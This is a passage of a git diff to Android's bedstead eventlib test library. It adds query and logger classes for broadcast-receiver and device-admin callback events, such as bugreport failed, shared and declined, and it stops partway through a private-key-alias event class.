+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEvent.java
@@ -37,7 +37,9 @@
  */
 public final class BroadcastReceivedEvent extends Event {
 
-    /** Begin a query for {@link BroadcastReceivedEvent} events. */
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link BroadcastReceivedEvent} events. */
     public static BroadcastReceivedEventQuery queryPackage(String packageName) {
         return new BroadcastReceivedEventQuery(packageName);
     }
@@ -45,6 +47,9 @@
     /** {@link EventLogsQuery} for {@link BroadcastReceivedEvent}. */
     public static final class BroadcastReceivedEventQuery
             extends EventLogsQuery<BroadcastReceivedEvent, BroadcastReceivedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         BroadcastReceiverQueryHelper<BroadcastReceivedEventQuery> mBroadcastReceiver =
                 new BroadcastReceiverQueryHelper<>(this);
         IntentQueryHelper<BroadcastReceivedEventQuery> mIntent = new IntentQueryHelper<>(this);
@@ -77,9 +82,17 @@
             }
             return true;
         }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(BroadcastReceivedEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("broadcastReceiver", mBroadcastReceiver)
+                    .toString();
+        }
     }
 
-    /** Begin logging a {@link BroadcastReceivedEvent}. */
+    /** Begins logging a {@link BroadcastReceivedEvent}. */
     public static BroadcastReceivedEventLogger logger(
             BroadcastReceiver broadcastReceiver, Context context, Intent intent) {
         return new BroadcastReceivedEventLogger(broadcastReceiver, context, intent);
@@ -95,28 +108,28 @@
             setBroadcastReceiver(broadcastReceiver);
         }
 
-        /** Set the {@link BroadcastReceiver} which received this event. */
+        /** Sets the {@link BroadcastReceiver} which received this event. */
         public BroadcastReceivedEventLogger setBroadcastReceiver(
                 BroadcastReceiver broadcastReceiver) {
             mEvent.mBroadcastReceiver = new BroadcastReceiverInfo(broadcastReceiver);
             return this;
         }
 
-        /** Set the {@link BroadcastReceiver} which received this event. */
+        /** Sets the {@link BroadcastReceiver} which received this event. */
         public BroadcastReceivedEventLogger setBroadcastReceiver(
                 Class<? extends BroadcastReceiver> broadcastReceiverClass) {
             mEvent.mBroadcastReceiver = new BroadcastReceiverInfo(broadcastReceiverClass);
             return this;
         }
 
-        /** Set the {@link BroadcastReceiver} which received this event. */
+        /** Sets the {@link BroadcastReceiver} which received this event. */
         public BroadcastReceivedEventLogger setBroadcastReceiver(
                 String broadcastReceiverClassName) {
             mEvent.mBroadcastReceiver = new BroadcastReceiverInfo(broadcastReceiverClassName);
             return this;
         }
 
-        /** Set the {@link Intent} which was received. */
+        /** Sets the {@link Intent} which was received. */
         public BroadcastReceivedEventLogger setIntent(Intent intent) {
             mEvent.mIntent = new SerializableParcelWrapper<>(intent);
             return this;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceiverEvents.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceiverEvents.java
new file mode 100644
index 0000000..382c065
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceiverEvents.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.broadcastreceivers;
+
+/**
+ * Quick access to event queries about broadcast receivers.
+ */
+public interface BroadcastReceiverEvents {
+
+    /**
+     * Query for when a broadcast is received
+     *
+     * <p>Additional filters can be added to the returned object.
+     *
+     * <p>{@code #poll} can be used to fetch results, and the result can be asserted on.
+     */
+    BroadcastReceivedEvent.BroadcastReceivedEventQuery broadcastReceived();
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportFailedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportFailedEvent.java
new file mode 100644
index 0000000..6308d61
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportFailedEvent.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntegerQuery;
+import com.android.queryable.queries.IntegerQueryHelper;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onBugreportFailed(Context, Intent, int)}
+ * is called.
+ */
+public final class DeviceAdminBugreportFailedEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminBugreportFailedEvent} events. */
+    public static DeviceAdminBugreportFailedEventQuery queryPackage(String packageName) {
+        return new DeviceAdminBugreportFailedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminBugreportFailedEvent}. */
+    public static final class DeviceAdminBugreportFailedEventQuery
+            extends EventLogsQuery<DeviceAdminBugreportFailedEvent,
+            DeviceAdminBugreportFailedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminBugreportFailedEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminBugreportFailedEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+        IntegerQueryHelper<DeviceAdminBugreportFailedEventQuery> mFailureCode =
+                new IntegerQueryHelper<>(this);
+
+        private DeviceAdminBugreportFailedEventQuery(String packageName) {
+            super(DeviceAdminBugreportFailedEvent.class, packageName);
+        }
+
+        /**
+         * Queries {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onBugreportFailed(Context, Intent, int)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminBugreportFailedEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminBugreportFailedEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        /**
+         * Query {@code failureCode} passed into
+         * {@link DeviceAdminReceiver#onBugreportFailed(Context, Intent, int)}.
+         */
+        @CheckResult
+        public IntegerQuery<DeviceAdminBugreportFailedEventQuery> whereFailureCode() {
+            return mFailureCode;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminBugreportFailedEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            if (!mFailureCode.matches(event.mFailureCode)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminBugreportFailedEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("failureCode", mFailureCode)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminBugreportFailedEvent}. */
+    public static DeviceAdminBugreportFailedEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver,
+            Context context, Intent intent, int failureCode) {
+        return new DeviceAdminBugreportFailedEventLogger(
+                deviceAdminReceiver, context, intent, failureCode);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminBugreportFailedEvent}. */
+    public static final class DeviceAdminBugreportFailedEventLogger
+            extends EventLogger<DeviceAdminBugreportFailedEvent> {
+        private DeviceAdminBugreportFailedEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver,
+                Context context, Intent intent, int failureCode) {
+            super(context, new DeviceAdminBugreportFailedEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            mEvent.mFailureCode = failureCode;
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminBugreportFailedEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminBugreportFailedEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminBugreportFailedEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link Intent} which was received. */
+        public DeviceAdminBugreportFailedEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+
+        /** Sets the {@code failureCode} which was received. */
+        public DeviceAdminBugreportFailedEventLogger setFailureCode(int failureCode) {
+            mEvent.mFailureCode = failureCode;
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+    protected int mFailureCode;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onBugreportFailed(Context, Intent, int)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    /**
+     * The {@code failureCode} passed into
+     * {@link DeviceAdminReceiver#onBugreportFailed(Context, Intent, int)}.
+     */
+    public int failureCode() {
+        return mFailureCode;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminBugreportFailedEvent{"
+                + " intent=" + intent()
+                + ", failureCode=" + mFailureCode
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharedEvent.java
new file mode 100644
index 0000000..1e96e00
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharedEvent.java
@@ -0,0 +1,204 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.queries.StringQuery;
+import com.android.queryable.queries.StringQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onBugreportShared(Context, Intent, String)}
+ * is called.
+ */
+public final class DeviceAdminBugreportSharedEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminBugreportSharedEvent} events. */
+    public static DeviceAdminBugreportSharedEventQuery queryPackage(String packageName) {
+        return new DeviceAdminBugreportSharedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminBugreportSharedEvent}. */
+    public static final class DeviceAdminBugreportSharedEventQuery
+            extends EventLogsQuery<DeviceAdminBugreportSharedEvent,
+            DeviceAdminBugreportSharedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminBugreportSharedEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminBugreportSharedEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+        StringQueryHelper<DeviceAdminBugreportSharedEventQuery> mBugreportHash =
+                new StringQueryHelper<>(this);
+
+        private DeviceAdminBugreportSharedEventQuery(String packageName) {
+            super(DeviceAdminBugreportSharedEvent.class, packageName);
+        }
+
+        /**
+         * Queries {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onBugreportShared(Context, Intent, String)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminBugreportSharedEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminBugreportSharedEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        /** Queries {@code bugReportHash}. */
+        @CheckResult
+        public StringQuery<DeviceAdminBugreportSharedEventQuery> whereBugreportHash() {
+            return mBugreportHash;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminBugreportSharedEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            if (!mBugreportHash.matches(event.mBugreportHash)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminBugreportSharedEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .field("bugReportHash", mBugreportHash)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminBugreportSharedEvent}. */
+    public static DeviceAdminBugreportSharedEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver,
+            Context context, Intent intent, String bugreportHash) {
+        return new DeviceAdminBugreportSharedEventLogger(
+                deviceAdminReceiver, context, intent, bugreportHash);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminBugreportSharedEvent}. */
+    public static final class DeviceAdminBugreportSharedEventLogger
+            extends EventLogger<DeviceAdminBugreportSharedEvent> {
+        private DeviceAdminBugreportSharedEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver,
+                Context context, Intent intent, String bugreportHash) {
+            super(context, new DeviceAdminBugreportSharedEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            mEvent.mBugreportHash = bugreportHash;
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminBugreportSharedEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminBugreportSharedEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminBugreportSharedEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link Intent} which was received. */
+        public DeviceAdminBugreportSharedEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+
+        /** Sets the {@code bugreportHash} which was received. */
+        public DeviceAdminBugreportSharedEventLogger setBugreportHash(String bugreportHash) {
+            mEvent.mBugreportHash = bugreportHash;
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+    protected String mBugreportHash;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onBugreportShared(Context, Intent, String)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    /**
+     * The {@code bugreportHash} passed into
+     * {@link DeviceAdminReceiver#onBugreportShared(Context, Intent, String)}.
+     */
+    public String bugreportHash() {
+        return mBugreportHash;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminBugreportSharedEvent{"
+                + " intent=" + intent()
+                + ", bugreportHash=" + mBugreportHash
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharingDeclinedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharingDeclinedEvent.java
new file mode 100644
index 0000000..fe944da
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharingDeclinedEvent.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when {@link DeviceAdminReceiver#onBugreportSharingDeclined(Context, Intent)}
+ * is called.
+ */
+public final class DeviceAdminBugreportSharingDeclinedEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminBugreportSharingDeclinedEvent} events. */
+    public static DeviceAdminBugreportSharingDeclinedEventQuery queryPackage(String packageName) {
+        return new DeviceAdminBugreportSharingDeclinedEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminBugreportSharingDeclinedEvent}. */
+    public static final class DeviceAdminBugreportSharingDeclinedEventQuery
+            extends EventLogsQuery<DeviceAdminBugreportSharingDeclinedEvent,
+            DeviceAdminBugreportSharingDeclinedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminBugreportSharingDeclinedEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminBugreportSharingDeclinedEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+
+        private DeviceAdminBugreportSharingDeclinedEventQuery(String packageName) {
+            super(DeviceAdminBugreportSharingDeclinedEvent.class, packageName);
+        }
+
+        /**
+         * Queries {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onBugreportSharingDeclined(Context, Intent)}.
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminBugreportSharingDeclinedEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminBugreportSharingDeclinedEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        @Override
+        protected boolean filter(DeviceAdminBugreportSharingDeclinedEvent event) {
+            if (!mIntent.matches(event.mIntent)) {
+                return false;
+            }
+            if (!mDeviceAdminReceiver.matches(event.mDeviceAdminReceiver)) {
+                return false;
+            }
+            return true;
+        }
+
+        @Override
+        public String describeQuery(String fieldName) {
+            return toStringBuilder(DeviceAdminBugreportSharingDeclinedEvent.class, this)
+                    .field("intent", mIntent)
+                    .field("deviceAdminReceiver", mDeviceAdminReceiver)
+                    .toString();
+        }
+    }
+
+    /** Begins logging a {@link DeviceAdminBugreportSharingDeclinedEvent}. */
+    public static DeviceAdminBugreportSharingDeclinedEventLogger logger(
+            DeviceAdminReceiver deviceAdminReceiver, Context context, Intent intent) {
+        return new DeviceAdminBugreportSharingDeclinedEventLogger(
+                deviceAdminReceiver, context, intent);
+    }
+
+    /** {@link EventLogger} for {@link DeviceAdminBugreportSharingDeclinedEvent}. */
+    public static final class DeviceAdminBugreportSharingDeclinedEventLogger
+            extends EventLogger<DeviceAdminBugreportSharingDeclinedEvent> {
+        private DeviceAdminBugreportSharingDeclinedEventLogger(
+                DeviceAdminReceiver deviceAdminReceiver,
+                Context context, Intent intent) {
+            super(context, new DeviceAdminBugreportSharingDeclinedEvent());
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            setDeviceAdminReceiver(deviceAdminReceiver);
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminBugreportSharingDeclinedEventLogger setDeviceAdminReceiver(
+                DeviceAdminReceiver deviceAdminReceiver) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiver);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminBugreportSharingDeclinedEventLogger setDeviceAdminReceiver(
+                Class<? extends DeviceAdminReceiver> deviceAdminReceiverClass) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClass);
+            return this;
+        }
+
+        /** Sets the {@link DeviceAdminReceiver} which received this event. */
+        public DeviceAdminBugreportSharingDeclinedEventLogger setDeviceAdminReceiver(
+                String deviceAdminReceiverClassName) {
+            mEvent.mDeviceAdminReceiver = new DeviceAdminReceiverInfo(deviceAdminReceiverClassName);
+            return this;
+        }
+
+        /** Sets the {@link Intent} which was received. */
+        public DeviceAdminBugreportSharingDeclinedEventLogger setIntent(Intent intent) {
+            mEvent.mIntent = new SerializableParcelWrapper<>(intent);
+            return this;
+        }
+    }
+
+    protected SerializableParcelWrapper<Intent> mIntent;
+    protected DeviceAdminReceiverInfo mDeviceAdminReceiver;
+
+    /**
+     * The {@link Intent} passed into
+     * {@link DeviceAdminReceiver#onBugreportSharingDeclined(Context, Intent)}.
+     */
+    public Intent intent() {
+        if (mIntent == null) {
+            return null;
+        }
+        return mIntent.get();
+    }
+
+    /** Information about the {@link DeviceAdminReceiver} which received the intent. */
+    public DeviceAdminReceiverInfo deviceAdminReceiver() {
+        return mDeviceAdminReceiver;
+    }
+
+    @Override
+    public String toString() {
+        return "DeviceAdminBugreportSharingDeclinedEvent{"
+                + " intent=" + intent()
+                + ", deviceAdminReceiver=" + mDeviceAdminReceiver
+                + ", packageName='" + mPackageName + "'"
+                + ", timestamp=" + mTimestamp
+                + "}";
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminChoosePrivateKeyAliasEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminChoosePrivateKeyAliasEvent.java
new file mode 100644
index 0000000..8c6c464
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminChoosePrivateKeyAliasEvent.java
@@ -0,0 +1,270 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+
+import androidx.annotation.CheckResult;
+
+import com.android.eventlib.Event;
+import com.android.eventlib.EventLogger;
+import com.android.eventlib.EventLogsQuery;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
+import com.android.queryable.queries.DeviceAdminReceiverQuery;
+import com.android.queryable.queries.DeviceAdminReceiverQueryHelper;
+import com.android.queryable.queries.IntegerQuery;
+import com.android.queryable.queries.IntegerQueryHelper;
+import com.android.queryable.queries.IntentQueryHelper;
+import com.android.queryable.queries.StringQuery;
+import com.android.queryable.queries.StringQueryHelper;
+import com.android.queryable.queries.UriQuery;
+import com.android.queryable.queries.UriQueryHelper;
+import com.android.queryable.util.SerializableParcelWrapper;
+
+/**
+ * Event logged when
+ * {@link DeviceAdminReceiver#onChoosePrivateKeyAlias(Context, Intent, int, Uri, String)} is called.
+ */
+public final class DeviceAdminChoosePrivateKeyAliasEvent extends Event {
+
+    private static final long serialVersionUID = 1;
+
+    /** Begins a query for {@link DeviceAdminChoosePrivateKeyAliasEvent} events. */
+    public static DeviceAdminChoosePrivateKeyAliasEventQuery queryPackage(String packageName) {
+        return new DeviceAdminChoosePrivateKeyAliasEventQuery(packageName);
+    }
+
+    /** {@link EventLogsQuery} for {@link DeviceAdminChoosePrivateKeyAliasEvent}. */
+    public static final class DeviceAdminChoosePrivateKeyAliasEventQuery
+            extends EventLogsQuery<DeviceAdminChoosePrivateKeyAliasEvent,
+            DeviceAdminChoosePrivateKeyAliasEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
+        DeviceAdminReceiverQueryHelper<DeviceAdminChoosePrivateKeyAliasEventQuery> mDeviceAdminReceiver =
+                new DeviceAdminReceiverQueryHelper<>(this);
+        IntentQueryHelper<DeviceAdminChoosePrivateKeyAliasEventQuery> mIntent =
+                new IntentQueryHelper<>(this);
+        IntegerQueryHelper<DeviceAdminChoosePrivateKeyAliasEventQuery> mUid =
+                new IntegerQueryHelper<>(this);
+        UriQueryHelper<DeviceAdminChoosePrivateKeyAliasEventQuery> mUri =
+                new UriQueryHelper<>(this);
+        StringQueryHelper<DeviceAdminChoosePrivateKeyAliasEventQuery> mAlias =
+                new StringQueryHelper<>(this);
+
+        private DeviceAdminChoosePrivateKeyAliasEventQuery(String packageName) {
+            super(DeviceAdminChoosePrivateKeyAliasEvent.class, packageName);
+        }
+
+        /**
+         * Queries {@link Intent} passed into
+         * {@link DeviceAdminReceiver#onChoosePrivateKeyAlias(Context, Intent, int, Uri, String).
+         */
+        @CheckResult
+        public IntentQueryHelper<DeviceAdminChoosePrivateKeyAliasEventQuery> whereIntent() {
+            return mIntent;
+        }
+
+        /** Queries {@link DeviceAdminReceiver}. */
+        @CheckResult
+        public DeviceAdminReceiverQuery<DeviceAdminChoosePrivateKeyAliasEventQuery> whereDeviceAdminReceiver() {
+            return mDeviceAdminReceiver;
+        }
+
+        /** Query {@code uid}. */
+        @CheckResult
